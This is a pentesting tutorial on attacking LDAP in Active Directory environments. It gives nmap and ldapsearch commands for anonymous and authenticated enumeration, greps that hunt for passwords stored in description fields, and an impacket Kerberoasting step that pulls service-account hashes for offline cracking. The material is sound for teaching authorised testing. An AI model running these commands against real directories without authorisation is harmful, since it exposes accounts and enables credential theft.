Pentesting LDAP
LDAP (Lightweight Directory Access Protocol) is a protocol used to access and manage directory information such as users, groups, and computers within an organization. It's heavily used in Active Directory environments, where port 389 (TCP/UDP) is used for plaintext communication and 636 (LDAPS) for encrypted.
From a pentesting perspective, LDAP is a goldmine of information. It can lead to obtaining user accounts, descriptions, service accounts, SPNs for Kerberoasting, and potential plaintext passwords hiding in object attributes. Even without credentials, LDAP can often leak valuable intel.
Discovery and Enumeration
Discovery
Start by identifying whether LDAP is exposed and what version is running. The goal here is to detect the protocol, confirm it’s LDAP, and identify if anonymous access may be possible. You can use the Nmap tool to discover servers with the LDAP ports 389 or 636 open.
nmap -p 389,636 -sV 10.1.1.1 #Check for LDAP or LDAPS services on a single hostnmap -p 389,636 -sV 10.1.1.0/24 #Check for LDAP or LDAPS services on a subnetnmap -p 389,636 -sV -iL targets.txt #Check for LDAP or LDAPS services on a list of IPsUse the NSE scripts to fingerprint the LDAP service and possibly retrieve the naming context (root domain):
nmap -n -sV --script "ldap* and not brute" 10.1.1.1 #Use NSE LDAP scriptsLook for responses like:
- Microsoft Windows Active Directory LDAP
- OpenLDAP
- Indication of anonymous bind support
Enumeration
Once LDAP is confirmed, move to enumeration. The aim is to pull as much information as possible from the server, either anonymously or with credentials, such as:
- Naming context (domain info)
- Usernames
- Computer accounts
- Group memberships
- Descriptions (which may leak creds)
- SPNs (for Kerberoasting)
Null Bind / Anonymous Enumeration
Some LDAP servers allow binding without credentials. If enabled, this is a quick win to start extracting basic info. You can use the ldapsearch command-line tool.
ldapsearch -x -H ldap://10.1.1.1:389 -s base -b "" "(objectClass=*)" #Check if anonymous bind works and get domain rootIf the above is successful, you can try to enumerate users and other LDAP objects directly.
ldapsearch -x -H ldap://10.1.1.1 -b "dc=example,dc=local" #Attempt full enumeration with anonymous bindEven without creds, you may be able to extract:
- Users (sAMAccountName)
- Descriptions (which often leak internal info)
- Domain naming context
- OU structure
Authenticated Enumeration
If credentials are available (domain user, service account, low-priv creds), LDAP can be fully queried using the ldapsearch command-line tool. Use the naming context returned from the rootDSE query as your base (-b)
ldapsearch -LLL -H ldap://10.1.1.1 -D "domain\user" -w "pass" -b "dc=example,dc=local" "(objectClass=user)" sAMAccountName cn mail description #List all users in the domainldapsearch -LLL -H ldap://10.1.1.1 -D "domain\user" -w "pass" -b "dc=example,dc=local" "(objectClass=computer)" name dNSHostName operatingSystem #List all computer objectsldapsearch -LLL -H ldap://10.1.1.1 -D "domain\user" -w "pass" -b "dc=example,dc=local" "(objectClass=group)" cn member #Retrieve domain groups
Credential Hunting
Many organisations store credentials, temporary passwords, or legacy info in the description field of user accounts. You should always grep LDAP output for sensitive strings.
ldapsearch -LLL -H ldap://10.1.1.1 -D "domain\user" -w "pass" -b "dc=example,dc=local" "(objectClass=user)" sAMAccountName description | grep -iE 'pass|pwd|key|legacy' #Dump all user descriptions and grep for keywordsAlternatively, you can craft specific filters:
ldapsearch -LLL -H ldap://10.1.1.1 -D "domain\user" -w "pass" -b "dc=example,dc=local" "(&(objectCategory=person)(objectClass=user)(description=*pass*))" #Only users where the description field contains the word "pass"
SPN and Kerberoasting
Once you have valid credentials (even low-priv), you can use LDAP to enumerate Service Principal Names (SPNs), which are tied to service accounts and are the target for Kerberoasting.
ldapsearch -LLL -H ldap://10.1.1.1 -D "domain\user" -w "pass" -b "dc=example,dc=local" "(servicePrincipalName=*)" servicePrincipalName sAMAccountName #Find all user accounts with SPNs setThen use impacket to obtain the hashes:
GetUserSPNs.py domain.local/<user>:<password> -dc-ip 10.1.1.1 -outputfile spns.txtThis outputs hashes you can crack offline with hashcat or john.
Filter Examples and LDAP Flags
LDAP filters allow us to fine-tune queries. Below are powerful examples to use during enumeration:
| Filter Purpose | LDAP Filter Expression |
|---|---|
| All users | (objectClass=user) |
| User accounts only | (&(objectCategory=person)(objectClass=user)) |
| Description contains ‘pass’ | (&(objectClass=user)(description=*pass*)) |
| SPNs set | (servicePrincipalName=*) |
| No password required | userAccountControl:1.2.840.113556.1.4.803:=32 |
| Password never expires | userAccountControl:1.2.840.113556.1.4.803:=65536 |
| Admin accounts | (&(objectCategory=person)(objectClass=user)(adminCount=1)) |
Other Tools
The following tools are also useful to help automate or streamline LDAP enumeration.
windapsearch -d example.com --dc-ip 10.1.1.1 -u user@example.com -p 'Password123' --full #Full AD searchldapdomaindump -u 'DOMAIN\\user' -p 'pass' 10.1.1.1 -o ./ldap_dump #JSON & HTML outputgodap 10.1.1.1 #Check for anonymous ldap bind



